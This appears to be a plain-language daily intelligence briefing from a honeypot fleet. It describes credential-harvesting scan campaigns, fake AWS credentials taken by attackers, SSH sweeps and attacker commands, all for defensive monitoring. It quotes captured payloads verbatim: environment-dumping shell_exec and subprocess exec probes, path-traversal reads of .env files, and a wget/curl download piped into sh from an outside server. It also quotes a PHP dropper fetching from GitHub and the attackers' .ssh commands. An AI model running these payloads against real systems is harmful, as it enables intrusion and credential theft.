Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №51 — PLAIN LANGUAGE

Period: 2026-10-13 07:34 – 2026-10-14 07:34 UTC (24h, day 49 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-14.md

What happened (plain)

A known campaign came back with a bigger stick. METADATA-HUNT had been quiet for three days. On 2026-10-13 at 10:37 EDT, one computer at Google Cloud (35.253.66.111) hit the canary-farm-1 honeypot with 650 requests for 310 paths in about 12 seconds. It pretended to be about 30 different AI crawlers. It tried a whole set of known code-execution tricks, and every trick asked for the same thing: print the server's environment variables, because those often hold cloud credentials. It also collected 41 fake AWS credentials — more than any single computer has ever collected from this fleet. Nobody used any stolen credentials in AWS during this window, which is the first quiet stretch after yesterday's record use. Two other known groups also came back: CONFIG-SWEEP pushed ru-edge-1 traffic up 128%, and the MEGA-DICTIONARY replay dumped 13,565 malware download addresses on frantech-ts in two minutes. The big traffic jumps on netcup and sponge came from a university research crawler, which is benign.

What it means (plain)

  1. METADATA-HUNT's return is worse than a routine scan. It ran real break-in tools, not just a file-name dictionary. Every exploit asked the decoy servers to print their environment variables. Then it took 41 credentials — a fleet record for one computer. Earlier runs of this campaign used their stolen credentials within hours. (High confidence — we have the full request log, the attack payloads, and the credential issue records.)
  2. A Proton VPN network address is running the same play that worked before. 159.26.110.149 scanned control-1 for 96 config-file paths in 3.5 seconds, took 2 fake credentials, then scanned ru-edge-1 slowly. That matches what 159.26.110.179 did in №14 — and that address was the first one ever to use a stolen credential in AWS. (Moderate confidence — the behavior and tool marks match; we cannot prove the same person runs both addresses.)
  3. A quiet day for credential use does not mean less danger. 102 fresh credentials went to 26 collectors and none were used in AWS. Three campaigns did the collecting. The stolen credentials sit in hostile hands until they expire. (High confidence — Tracebit alerts are the only witness for AWS use, and none fired.)
  4. The traffic spikes have ordinary explanations. ru-edge-1 +128% was CONFIG-SWEEP's 3,000-request return. netcup +169% and sponge +144% were the Ruhr-Universität Bochum research crawler (4,060 and 2,762 requests — now confirmed benign in a second window). frantech only looks flat because the MEGA-DICTIONARY replay is 95% of its traffic. Only canary-farm-1's +15% is hostile growth, and that is the METADATA-HUNT burst. (High confidence — every mover is named.)

Campaigns (who / what / what it means)

METADATA-HUNT — a cloud-credential thief pretending to be AI crawlers

  • Who: One Google Cloud computer, 35.253.66.111, hitting canary-farm-1 only. 650 requests, 310 paths, 41 POSTs, from 10:37:15 EDT on 10-13.
  • What they did: They rotated about 30 fake AI-crawler identities (Bravebot, Qwenbot, KimiBot, Claude-User, GrokBot, a fake Applebot, and more). They walked tarpits, random paths, infrastructure-as-code files (docker-compose in 4 spellings, firebase-json ×4, terraform-tfstate, gitlab-ci, github-actions-workflow, gcp-credentials-json), and probed GraphQL on 3 endpoints. Then came the break-in chain, and every payload asked for the environment: POST /lib/terminal-xhr.php with command=env&password=bypass&csrf=x; a langflow probe {"code":"@exec('raise Exception(__import__(\"subprocess\").check_output(\"env 2>…; POST /api/fs/exec with {"command":"env","args":[]}; php-cgi POSTs running <?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?> on five paths; file-read calls for {"file_path":".env"} and {"file_path":"/proc/self/environ"}; and path-traversal reads like {"templateFile":"../../../../.env"}. At 10:37 they collected 41 fake credentials at /.env. None failed.
  • What it means: They want cloud credentials from environment variables. The 41 credentials are the largest single-computer haul in fleet history, and earlier members of this campaign used their credentials within hours. Our fake services answered every request with harmless decoy content, so nothing real leaked.

PROTON-CENSUS — the repeat play from a Proton VPN network — NEW this cycle

  • Who: 159.26.110.149 (Proton AG, Poland), on control-1 and ru-edge-1. The same network range as 159.26.110.179, which in №14 became the first attacker ever to use one of our fake credentials in AWS.
  • What they did: On control-1 they pulled 163 requests for 96 config paths in 3.5 seconds using curl/8.22.0, and took 2 fake credentials at /.env. On ru-edge-1 they spent 72 minutes on 165 requests (with Go-http-client/1.1 and curl), looking for AI-tool configs (claude-config, claude-credentials, claude-history, codex-config-toml) plus AWS, GCP, Kubernetes, and Terraform files. A third credential attempt on ru-edge failed because the node could not reach the credential service (connection reset).
  • What it means: The same network range is running the same recipe that led to real credential use in №14. Two credentials are now in hostile hands. We watch Tracebit for their use, not the honeypot logs.

CREDENTIAL-DRAIN — the stolen-credential pipeline — quiet this window

  • Who: 102 credentials went to 26 collector computers. None were used in AWS.
  • What they did: Collecting only. The one mint failure all window was the Proton connection reset above — no key or quota problems. The all-time issued counter reached 2,245. The big hoards: 45.148.10.171 now holds 51 credentials over 6 days (its 19th straight collecting window, and it touched all 8 sensors); 87.120.104.29 holds 18 over 6 days; 35.253.66.111 holds its fresh 41; 206.209.210.3 collected in its fifth straight window (10/6d); 140.245.97.208 holds 9 across 4 sensors; 80.94.95.211 came back with 2; the OMEGA-SWEEP pool addresses 94.154.43.135 and 94.154.43.180 took 1 each — the first pool mints since №21.
  • What it means: The stack of stolen credentials grew by 102 while nobody used any. That is inventory, not peace.

ORACLE-SWEEP — the honest scanner that changed targets

  • Who: 163.192.99.99 (Oracle Corporation, US), on lauterbourg-01-ts only. 873 requests for 788 different paths in 8 seconds (23:08:54–23:09:02 EDT). Fresh address.
  • What they did: Same honest tool signature as before (WebSiphon/next-0.1), but a different shopping list: instead of .env files, they enumerated the Kiteworks decoy (28 asset fetches, shell, session probes), LLM endpoints (Ollama tags/chat/generate, model lists, OpenAI chat), Kubernetes service-account files, Docker daemon endpoints, and monitoring endpoints. Zero .env-class paths. Zero credentials taken.
  • What it means: The operator noticed this node has no .env decoys and scanned what the node actually offers instead. That is a maintained tool, not a fire-and-forget script. Whether the old .env list comes back is the next-window question.

CONFIG-SWEEP — the record collector came back

  • Who: 87.120.104.29 (Sino Worldwide Trading, Norway) on ru-edge-1 only: 3,000 requests, 1,642 paths, 140 file families, in two passes (11:39 and 19:31 EDT), pretending to be Googlebot.
  • What they did: The registered config-file census at full size — 357 .env-production variants, app-config families, Spring Boot actuator endpoints, Rails files, Kubernetes secrets, Terraform state, AWS/GCP/Azure credential files, 56 SSH private-key probes, 51 webshell probes. They took 12 credentials — the campaign's biggest haul ever (previous best: 6).
  • What it means: This operator converts scanning into credential collecting, and it caused 6 of ru-edge-1's 7 alert spikes. It now holds 18 credentials over 6 days.

INFOCREST-KIT — one attack kit, two operators, one day

  • Who: 173.249.253.116 (tzulo, US) on its second straight day, now on SIX sensors (647 requests). New operator 103.214.20.135 (Host Universal Pty, Australia) on FIVE sensors (971 requests, 7 credentials taken).
  • What they did: The identical 16-identity rotation on both (Chrome 105–107, Firefox 105/106, Safari 16, python-requests/2.32.5). The kit's steps per node: tarpit cycling → phpMyAdmin login probes → adminer login POSTs as user prod_rw (body: auth%5Bdriver%5D=server&auth%5Bserver%5D=&auth%5Busername%5D=prod_rw&auth%5Bpassword%5D=OQn1pAvGlHfGzKFLtLBqRw&auth%5Bdb%5D=) → config-bundle census → WordPress batch multiplex + Tomcat path bypass → form logins with user=root&pass=wrong → Kiteworks legs on lauterbourg. No implant stages captured.
  • What it means: Two different operators ran the same kit on 11 sensor visits in one window. This is shared criminal tooling, and it took 7 credentials. Watch those for AWS use.

GOWEB-PENTEST — a phpMyAdmin hammer that came back to the same node

  • Who: 172.104.173.62 (Linode/Akamai, Singapore) returned to lauterbourg-01-ts — 151 requests to 1 path in 49 s (04:52 EDT). New operator 148.72.159.98 did the same (151 in 16 s, 18:47 EDT).
  • What they did: The same honest self-label as always (Go Web Pentest Tool), one phpMyAdmin login path per pass, GET only, no logins submitted, no credentials taken.
  • What it means: Eleventh and twelfth windows, and the first time an operator address returned. The decoy list circulates, and nodes get re-visited. We still have never captured an actual credential guess from this tool.

MEGA-DICTIONARY — the 18th replay of the malware-URL dictionary

  • Who: 185.209.196.130 (31173 Services AB, Germany) on frantech-ts — the same hosting company's third replay machine.
  • What they did: 13,565 requests for 13,565 different malware download paths in 2 minutes (02:10–02:12 EDT), with router and IoT device identities. The list grew by 11 paths since №50.
  • What it means: The dictionary is a shared artifact that operators pass around and keep updating. Our decoy node absorbed all 13,565 requests at zero cost. Notably, the same hosting company also ran a separate small config scan the same day (see the watch list).

WP-FORM-BRUTE — the WordPress pool learned a new trick

  • Who: The standing pool of 196 addresses (588 requests), plus a NEW leg: 21 addresses / 168 requests on ai-devbox-1 and canary-farm-1, first seen 10-14, using fake Chrome 146–152 identities.
  • What they did: The old pattern (probe → password guesses → probe) plus something new: after the password stage, the new leg walks into the admin area — /wp-admin/profile.php and /wp-admin/ — and probes WordPress REST endpoints that need login. canary-farm-1 logged 44 admin-redirect hits and 39 auth-required hits; ai-devbox-1 logged 79 credential POSTs and 164 probes.
  • What it means: The attackers' tool is mapping what a logged-in WordPress admin area looks like from our decoys' redirects. If they come back with session cookies, that is the next escalation. No credentials taken.

LIBREDTAIL-KIT — the implant dropper finally caught on the wire

  • Who: 84.46.241.102, two runs: lauterbourg-01-ts at 21:59 EDT and canary-farm-1 at 02:55 EDT, 49 requests each, honest label libredtail-http.
  • What they did: The registered chain, with the final stage visible for the first time in months: md5("Hello PHPUnit") probes across 20+ directory spellings → code-injection POSTs running a decoded command that changes into /tmp, /var/tmp, or /dev/shm and echoes an SSH key as a success signal → a POST /bin/sh whose payload, verbatim, is (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh. That download server is the third one inside 217.60.0.0/16 (after 217.60.195.113 and 217.60.103.56). No credentials taken; the fake shells and tarpits held.
  • What it means: We can now measure where this kit stages its implants. The staging servers rotate inside one network block — that is their pattern.

EMPERORS-KIT — the whole chain, second window running

  • Who: 150.241.66.127 (Kyonix Networks, US), the only operator ever seen with this kit, on canary-farm-1 (03:56–04:24 EDT), control-1 (04:20–05:54), and ai-devbox-1 (04:23–05:33); about 40 requests each.
  • What they did: adminer login POSTs as prod_rw with six fresh 22-character passwords; the phpunit test asking the server to print EmperorsTools; and the dropper <?php copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools… — a public GitHub file with no access token, so the download can succeed if the file is still there. No credentials taken.
  • What it means: The operator is on a regular schedule with the full kit. Whether that GitHub file is still live decides whether the implant step can work — we have not re-tested it.

REGISTRY-HUNT / LeakIX — the leak-scanner wave (borderline)

MEVSPACE-GITWALK — the git-history walker, fifth operator

  • Who: 209.50.174.90 on ru-edge-1: 144 requests for 142 paths in 6.3 seconds (02:33 EDT), this time with an honest git/2.40.0 identity — the first time this template used a real git client label.
  • What they did: Walked /.git/HEAD, /.git/, branches, and hooks — the fake git history we serve. They caused 143 of ru-edge's 191 fake-git alert hits.
  • What it means: The walk keeps getting handed to new operators, now with a new tool flavor. Our decoy git history keeps feeding it nothing real.

BUCKLOG-KIT census arm — a new node visit

  • Who: 161.178.140.14 (Amazon, US) on netcup-ts: 191 requests, 12 POSTs in 2.5 minutes (02:03 EDT), fake Chrome/123. 185.177.72.64 (the №49 credential user) also touched lauterbourg-01-ts (258 requests).
  • What they did: Census of the GravitySMTP decoy (settings, config, mock data) plus two phpunit probes and a webshell sweep. No credentials taken.
  • What it means: The census side of this kit keeps rotating across our nodes, and the presence of .64 keeps the question open of whether this group uses stolen credentials (it did in №49).

Watch list (single events, no campaign yet)

  • 193.32.126.169 (31173 Services AB, Germany — MEGA-DICTIONARY's hosting company), tool label wsn: 109 requests across canary-farm-1, control-1, and ai-devbox-1 (10:29–11:07 EDT), looking for app-config-yaml ×36, kubeconfig ×33, appsettings-json ×20, application-yml ×15, azure-node-json ×5. No credentials, no POSTs. One hosting company running two different templates in one day again.
  • 206.209.210.3 collected for a fifth straight window (3 credentials, 10/6d) — still the only collector that keeps returning past three windows.
  • 45.148.10.238 (CREDSWEEP, Techoff, Netherlands) returned for a third window: control-1, 179 requests, 16 POSTs, 1 credential.
  • First-time or standing single collectors: 9.160.105.39 (1, first time), 13.68.158.199 (1), 109.205.176.10 (1, 6/6d), 140.245.97.208 (4 across 4 sensors, 9/6d), 94.154.43.135 and 94.154.43.180 (1 each, OMEGA pool).
  • New decoy paths requested for the first time (logged at the 03:15 sync minute, so we cannot yet say who asked): control-1's crypto-trading configs (/config_freqtrade.json, /metamask-vault.json, /hummingbot.yml, /.dockerconfigjson); canary-farm-1's Terraform/SES set (/*.auto.tfvars, /.terraform.rc, /.env.ses, /config/environment.json, /utils/.env); ru-edge-1's OpenAPI trio (/api/v3/openapi.json, /dist/openapi.json, /openapi.min.json) plus /seed.txt and /vr5oyk7sbt1qt3u6; lauterbourg's /hosts.yml, /site.zip, /tests/, /configuration.yaml, /sql/phpmy-admin/index.php; netcup's /livewire/update. New fake identities seen: Knoppix/Kubuntu/ZZ; Linux browser strings (ru-edge, sponge) and Meta-ExternalFetcher (inside METADATA-HUNT's rotation).
  • Tarpit pools — 3e1c5eb879e7 85 addresses / 595 requests; ef1ab74f3d57 7 / 343; 218630667b2c 7 / 295; 7ea1125e0232 5 / 70. The TOKEN-CRAWLER pool (45.198.224.x) touched all 8 sensors again (89 and 72 requests for the two busiest) — no credentials.
  • Known benign probers, unchanged shapes: 80.82.77.202 (441 requests, 7 sensors), 89.248.172.33 (379, 7), 93.174.93.12, 3.129.187.38, 34.140.3.155 (38, all 8), 172.232.133.233 (8, all 8).

Who is gone or quiet

SI-CENSUS (first miss since its №50 return; its 33 held credentials unchanged), AKAMAI-VHOST-SCAN (second miss — ORACLE-SWEEP scanned that vhost instead), ATLASSIAN-REST-PROBE (third), NIGHTAGENT (sixth), KEYHUNT (sixth), the OMEGA-SWEEP census (eleventh, though two pool addresses minted), CF-FRONTED CREDSWEEP (eleventh), ENVRC-SWEEP, GIT-VAULT (third), XMLRPC-BRUTE (silent), LEAKIX-SSH (network layer), ZKILLU-GITWALK, LLM-ENDPOINT-PROBE, SONICWALL-VPN-PROBE, SS-Net's 80.94.92.65 (its sibling 80.94.95.211 came back), and METADATA-HUNT's old named runners.

Standing actors (who keeps coming back)

  • 45.148.10.171 collected in its 19th straight window (8 more credentials across 4 sensors; 51 over 6 days; passes on all 8 sensors). Still zero AWS use. Longest-running collector we track.
  • 204.76.203.18 (Pfcloud) keeps replaying its malware dictionary on control-1, day 22+: 2,082 requests (58% of the node). Its sibling .219 touched all 8 sensors.
  • 206.209.210.3 collected for a fifth straight window — unique among collectors.
  • 87.120.104.29 returned after six days with its biggest haul ever.
  • 173.249.253.116 ran the INFOCREST kit a second straight day and doubled its node coverage.
  • The REGISTRY-HUNT collector base — several runners now hold 3–4 credentials over 6 days. Addresses rotate; the collectors persist.
  • TOKEN-CRAWLER and the tarpit pools — constant background, all 8 sensors, zero cost to us.
  • The Bochum research crawler (185.73.23.161 finn and .162 goose) — second window, now on our confirmed-benign list. It caused 79% of netcup's and 75% of sponge's traffic.

Network sweeps (Arkime) — SSH sweeps that never touch the web decoys

These are connections to the fleet's SSH port 22, seen by the packet sensors. They never request a web path, so the web honeypots cannot see them. We track them by the client's SSH fingerprint, never by address, because the addresses rotate.

  • GO-SSH-SWEEP (0a07365cc01fa9fc82608ba4019af499, banner ssh-2.0-go): 22,460 sessions from 92 addresses in 36 networks across 24 countries. Sessions dropped 17% from yesterday's record 27,067, but the source set is the widest in five windows (was 72 addresses / 20 networks). The load spread beyond the 109.160.32.x group that dominated before: 77.239.124.x and 192.253.248.216 joined the busiest list, and AS48090 Techoff Srv (the company behind the CREDSWEEP addresses) appears in the network list. Day-by-day address counts: 10-08: 66, 10-09: 88, 10-10: 116, 10-11: 90, 10-12: 81, 10-13: 97, 10-14: 39.
  • LIBSSH-MASSSWEEP (f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6): 5,217 sessions from 280 addresses in 136 networks across 47 countries — day 25 of the same ~280–310-address plateau. Day-by-day: 10-08: 309, 10-09: 317, 10-10: 344, 10-11: 303, 10-12: 319, 10-13: 283, 10-14: 102.
  • 16443846184eafde36765c9bab2f4397 (unnamed): 12,398 sessions from 38 addresses in 27 networks — sessions up 21%, still under our 50-address naming line, still netcup's top fingerprint at 17 days.
  • 084386fa7ae5039bcf6f07298a05a227: 67 sessions from 52 addresses — distributed shape.
  • New in the table: a591c4ddccc960a2da8099958270fc92 — 180 sessions from 22 addresses in 8 networks. Below our thresholds, unnamed, watching.
  • Both flagged sweeps try no logins — they read the SSH banner and leave. A ninth sensor (contabo-sponge-02-ts, 6,631 sessions in Arkime) is being set up and has no honeypot logs yet.

Canaries (minted and used) — fake credentials: how many were handed out, how many were used

The window at a glance: sensors handed out 102 credentials to 26 collector addresses. None were used in AWS. Zero success calls, zero failed calls. One mint attempt failed for a network reason (the Proton connection reset). The all-time issued counter reached 2,245.

Who took credentials, how many, and their 6-day history:

  • 35.253.66.111 — canary-farm-1 — 41 mints — 41 since 2026-10-13 10:37 (the METADATA-HUNT runner; fleet record)
  • 87.120.104.29 — ru-edge-1 — 12 — 18 since 2026-10-09 06:12 (CONFIG-SWEEP)
  • 45.148.10.171 — ai-devbox-1 — 4 — 51 since 2026-10-07 03:44
  • 45.148.10.171 — canary-farm-1 — 4 — 51 since 2026-10-07 03:44
  • 103.214.20.135 — ai-devbox-1 — 3 — 7 since 2026-10-14 01:15 (INFOCREST-KIT)
  • 103.214.20.135 — canary-farm-1 — 3 — 7 since 2026-10-14 01:15
  • 206.209.210.3 — canary-farm-1 — 3 — 10 since 2026-10-10 08:02
  • 140.245.97.208 — canary-farm-1 — 2 — 9 since 2026-10-07 06:30
  • 159.26.110.149 — control-1 — 2 — 2 since 2026-10-13 13:14 (PROTON-CENSUS)
  • 45.148.10.171 — control-1 — 2 — 51 since 2026-10-07 03:44
  • 80.94.95.211 — ai-devbox-1 — 2 — 6 since 2026-10-08 02:50 (SS-Net, returned)
  • 103.214.20.135 — ru-edge-1 — 1 — 7 since 2026-10-14 01:15
  • 109.205.176.10 — ru-edge-1 — 1 — 6 since 2026-10-08 03:34
  • 13.68.158.199 — ai-devbox-1 — 1 — 2 since 2026-10-07 08:37
  • 139.59.132.8 — ai-devbox-1 — 1 — 2 since 2026-10-08 19:34
  • 140.245.97.208 — ai-devbox-1 — 1 — 9 since 2026-10-07 06:30
  • 140.245.97.208 — control-1 — 1 — 9 since 2026-10-07 06:30
  • 140.245.97.208 — ru-edge-1 — 1 — 9 since 2026-10-07 06:30
  • 142.93.0.66 — ai-devbox-1 — 1 — 2 since 2026-10-13 19:58
  • 142.93.0.66 — canary-farm-1 — 1 — 2 since 2026-10-13 19:58
  • 143.244.168.161 — ru-edge-1 — 1 — 2 since 2026-10-11 20:35
  • 146.190.242.161 — control-1 — 1 — 1 since 2026-10-13 19:57
  • 146.190.63.248 — ru-edge-1 — 1 — 3 since 2026-10-08 18:42
  • 157.245.204.205 — canary-farm-1 — 1 — 4 since 2026-10-08 18:42
  • 159.89.12.166 — control-1 — 1 — 2 since 2026-10-12 20:41
  • 167.172.232.142 — canary-farm-1 — 1 — 3 since 2026-10-10 19:58
  • 167.99.182.39 — canary-farm-1 — 1 — 3 since 2026-10-09 19:48
  • 206.189.233.36 — canary-farm-1 — 1 — 3 since 2026-10-09 23:12
  • 206.189.95.232 — canary-farm-1 — 1 — 4 since 2026-10-07 19:54
  • 45.138.12.51 — control-1 — 1 — 7 since 2026-10-08 00:50
  • 45.148.10.171 — ru-edge-1 — 1 — 51 since 2026-10-07 03:44
  • 64.227.32.66 — ai-devbox-1 — 1 — 4 since 2026-10-08 20:15
  • 9.160.105.39 — ai-devbox-1 — 1 — 1 since 2026-10-13 20:01 (first time)
  • 94.154.43.135 — canary-farm-1 — 1 — 1 since 2026-10-13 10:53 (OMEGA pool)
  • 94.154.43.180 — ai-devbox-1 — 1 — 1 since 2026-10-13 10:52 (OMEGA pool)

Long-standing collectors with no observed AWS use (the full 6-day list, all still unused): 45.148.10.171 — 51 mints (2026-10-07 03:44 → 2026-10-14 01:51); 35.253.66.111 — 41 (2026-10-13 10:37 → 10:37); 34.124.231.201 — 40 (2026-10-10 04:05 → 04:05); 87.120.104.29 — 18 (2026-10-09 06:12 → 2026-10-13 19:31); 80.94.92.65 — 14 (2026-10-07 19:42 → 2026-10-11 17:52); 209.159.155.142 — 12 (2026-10-11 01:40 → 02:15); 2a02:c207:2350:9697::1 — 11 (2026-10-12 08:22 → 17:08); 206.209.210.3 — 10 (2026-10-10 08:02 → 2026-10-13 22:04); 208.84.100.218 — 10 (2026-10-09 04:22 → 2026-10-12 17:51); 140.245.97.208 — 9 (2026-10-07 06:30 → 2026-10-13 15:51); 169.58.180.111 — 9 (2026-10-12 08:22 → 17:08); 168.119.64.101 — 8 (2026-10-07 06:48 → 13:20); 173.249.253.116 — 8 (2026-10-12 23:08 → 2026-10-13 07:24); 103.214.20.135 — 7 (2026-10-14 01:15 → 05:45); 167.99.79.44 — 7 (2026-10-12 17:35 → 17:54); 45.138.12.51 — 7 (2026-10-08 00:50 → 2026-10-13 20:31); 102.220.161.139 — 6 (2026-10-12 09:24 → 09:59); 109.205.176.10 — 6 (2026-10-08 03:34 → 2026-10-13 17:09); 150.241.66.127 — 6 (2026-10-08 18:17 → 18:55); 213.209.159.175 — 6 (2026-10-07 11:02 → 2026-10-12 19:47); 45.153.34.39 — 6 (2026-10-07 12:42 → 2026-10-08 02:14); 80.94.95.211 — 6 (2026-10-08 02:50 → 2026-10-13 20:10); 105.115.6.147 — 5 (2026-10-07 21:06 → 2026-10-08 15:27); 128.199.182.55 — 5 (2026-10-08 20:14 → 2026-10-11 20:05); 146.190.103.103 — 5 (2026-10-07 20:01 → 2026-10-09 20:10); 160.177.245.67 — 5 (2026-10-08 07:57 → 09:04); 167.71.81.114 — 5 (2026-10-08 19:29 → 2026-10-12 20:41); 139.59.231.238 — 4 (2026-10-07 20:33 → 2026-10-12 19:58); 157.245.204.205 — 4 (2026-10-08 18:42 → 2026-10-13 20:27); 167.99.210.137 — 4 (2026-10-07 20:25 → 2026-10-10 20:28); 206.189.95.232 — 4 (2026-10-07 19:54 → 2026-10-13 20:04); 209.99.188.170 — 4 (2026-10-07 17:51 → 2026-10-09 18:35); 213.209.159.154 — 4 (2026-10-08 04:55 → 2026-10-11 01:02); 64.227.32.66 — 4 (2026-10-08 20:15 → 2026-10-13 20:47); 68.183.9.16 — 4 (2026-10-08 18:46 → 2026-10-10 02:21); 105.115.5.210 — 3 (2026-10-07 19:34 → 20:24); 143.110.213.72 — 3 (2026-10-07 20:25 → 2026-10-11 19:57); 146.190.63.248 — 3 (2026-10-08 18:42 → 2026-10-13 20:08); 157.245.113.227 — 3 (2026-10-08 17:32 → 2026-10-11 20:07); 157.245.204.205 — 3 (2026-10-08 18:42 → 20:35); 167.172.232.142 — 3 (2026-10-10 19:58 → 2026-10-13 20:38); 167.99.182.39 — 3 (2026-10-09 19:48 → 2026-10-13 20:47); 172.93.215.8 — 3 (2026-10-11 00:27 → 2026-10-12 16:55); 206.189.225.181 — 3 (2026-10-08 19:33 → 2026-10-09 21:06); 206.189.233.36 — 3 (2026-10-09 23:12 → 2026-10-13 20:47); 209.38.208.202 — 3 (2026-10-08 19:33 → 2026-10-10 20:44); 217.60.76.167 — 3 (2026-10-10 03:42 → 2026-10-12 10:00); 64.227.70.2 — 3 (2026-10-09 19:46 → 2026-10-12 20:30).

This was a zero-use window after yesterday's record use window. The credentials above stay live in hostile hands until they expire.

How the fleet behaved (Fleet Observations)

Credential economics. 107 raw mint records, 102 real credentials to 26 collectors, 0 used. One mint failure, and it was our own node losing a network connection to the credential service for a moment — not a bad key, not a quota problem. Nothing was leaked.

Attribution health. Of 2,396 requests carrying an X-Forwarded-For header, 0 carried forged multi-entry chains, and 0 carried a forwarded address that disagrees with the actual connection (the forgery signal). 324 headers were internal or agreed with the connection. The web decoys on canary-farm-1 (sso.rightabouteverything.show, 1,660 hits) and ai-devbox-1 (inference.fapthropic.com, 671) still draw traffic. lauterbourg's traffic ran against the bare IP this window (1,977 of 2,240), because the ORACLE-SWEEP and GOWEB passes did not use the Kiteworks hostname.

Where the traffic went, and why. ru-edge-1 +128% (4,158 requests): CONFIG-SWEEP's 3,000-request return is 72% of the node. netcup-ts +169% (5,114): the Bochum research crawler, 79%. sponge-01-ts +144% (3,697): the same crawler, 75%. lauterbourg-01-ts +38% (2,240): ORACLE-SWEEP's new census (873), the two GOWEB passes (302), and INFOCREST legs (183). canary-farm-1 +15% (2,683): the METADATA-HUNT burst (650) plus the WordPress pool plus INFOCREST (315). control-1 +11% (3,578): the Pfcloud replay loop (2,082, 58%), PROTON-CENSUS (163), EMPERORS-KIT (40). frantech-ts −3% (14,216): the MEGA-DICTIONARY replay is 95% of the node. ai-devbox-1 −31% (1,290) but with its highest-ever distinct-address count (206) — many addresses, light touches.

Every alert spike has an owner. All 13 spikes (3× or more over the weekly average) trace to named actors: the WordPress spikes to the standing pool and the new admin-area leg; lauterbourg's phpMyAdmin spike (304) to the two GOWEB passes; netcup's tarpit spike (4,460) to the Bochum crawler; ru-edge's seven spikes to CONFIG-SWEEP, MEVSPACE's new walker (143 of 191 fake-git hits), PROTON-CENSUS, and the INFOCREST legs. Nothing unexplained.

control-1's slow discovery ramp. Day 31: 3,578 requests from 105 distinct addresses. The address count sits inside the usual 84–157 band for the 23rd straight window. The volume comes from the replay loop and the day's censuses, not from new finders.

Small things we track. First-seen path lists again arrived in one 03:15 sync batch (they are an inventory, not a timeline). The hourly histogram labels still show local node time under a UTC header (a known quirk). The late-window overlap (+4 h) was cross-checked against №50 — every run quoted above started after yesterday's window closed. The ai-devbox-1 log-rotation gap enters its 13th cycle. New quirk this cycle: failed mint attempts can now also mean our node briefly lost its connection to the credential service — worth root-causing before calling a window dirty. Fleet-side changes: the visuals dashboard's campaign statuses were updated (METADATA-HUNT and CONFIG-SWEEP back to active, SI-CENSUS to idle, EMPERORS-KIT to active, PROTON-CENSUS added), 10 new address-to-campaign mappings, and the Bochum crawler moved to the confirmed-benign list. A ninth sensor (contabo-sponge-02-ts) is being set up — it appears in the packet data (6,631 sessions) but has no honeypot logs yet.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

One host runs separate SSH (port 2222) and telnet (port 2323) honeypots. 489 addresses sent passwords. 327 got a shell (67%). 253 ran a command (77% of those who got a shell, 52% of all addresses). In events: 15,380 password attempts → 2,697 accepted logins → 4,569 commands. Telnet attempts doubled, from 1,274 to 2,628.

No new commands for the 24th straight window. 0 of the 42 distinct commands were new. The most common are still the .ssh folder protection pair (cd ~; chattr -ia .ssh; lockr -ia .ssh, 861 runs by 173 addresses) and the SSH key replacement chain (766 runs by 158 addresses). 45.148.10.61 — from the CREDSWEEP hosting company — ran the hardware survey again (CPU, GPU, uptime queries; 273 events each from 5 addresses).

Passwords tried: 9,490 different username/password pairs, 0 new. The same fixed pairs dominate: 345gs5662d34/345gs5662d34 with 829 attempts and root/3245gs5662d34 with 626. The same sprayers have owned this funnel for six windows.

Open questions

  1. Will METADATA-HUNT use its 41 fresh credentials? Its earlier runs validated their own stolen credentials within hours. Does the runner come back, try other sensors, or trigger AWS activity before the credentials expire?
  2. Will the Proton credentials be used? The same network range used one within hours in №14. Only Tracebit can see that use; the honeypot logs cannot.
  3. What is ORACLE-SWEEP now? Was the new admin/LLM census a permanent change, an addition, or a one-time look? Will the old .env list and credential-taking return on the canary nodes?
  4. When do we name 16443846184e…? 12,398 sessions from 38 addresses at day 17. We name it if it spreads wider or crosses 50 addresses; a banner read would also tell us how it relates to the older Go banner sweep.
  5. Where does LIBREDTAIL stage next? 217.60.102.5 is the third download server inside one network block. The next capture should show the actual download fetch.
  6. Is the EmperorsTools GitHub file still live? The kit's dropper downloads from a public repository with no access token. One external check would answer it; we have not run that check.
  7. When does the ninth sensor come online? contabo-sponge-02-ts shows in the packet data but has no honeypot logs yet.
  8. When will the SSH honeypot see a new command again? Twenty-four windows without one. New commands remain the only signal we have for what attackers do after they get a shell.

Plain language version of: flux-fleet-intel-briefing-2026-10-14.md